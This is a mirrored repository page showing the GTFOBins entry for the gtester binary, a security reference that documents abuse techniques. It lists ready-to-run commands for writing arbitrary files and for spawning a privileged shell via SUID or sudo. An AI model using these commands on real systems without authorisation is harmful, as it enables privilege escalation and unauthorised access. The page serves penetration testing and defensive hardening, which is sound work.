This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-10-31 08:48:54 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
1634ba25441050c5c856ea8c59d86dc6a7162e65
GTFOBins.github.io
/
_gtfobins
/
gtester.md
Andrea Cardaci
8f1cde5d35
Fix gtester
2021-06-26 11:34:55 +02:00
717 B
Raw
Blame
History
functions
functions
file-write
shell
sudo
suid
description
code
Data to be written appears in an XML attribute in the output file (`<testbinary path="DATA">`).
LFILE=file_to_write gtester "DATA" -o $LFILE
code
TF=$(mktemp) echo '#!/bin/sh' > $TF echo 'exec /bin/sh -p 0<&1' >> $TF chmod +x $TF gtester -q $TF
code
TF=$(mktemp) echo '#!/bin/sh' > $TF echo 'exec /bin/sh 0<&1' >> $TF chmod +x $TF sudo gtester -q $TF
code
TF=$(mktemp) echo '#!/bin/sh -p' > $TF echo 'exec /bin/sh -p 0<&1' >> $TF chmod +x $TF sudo gtester -q $TF
Reference in New Issue
View Git Blame
Copy Permalink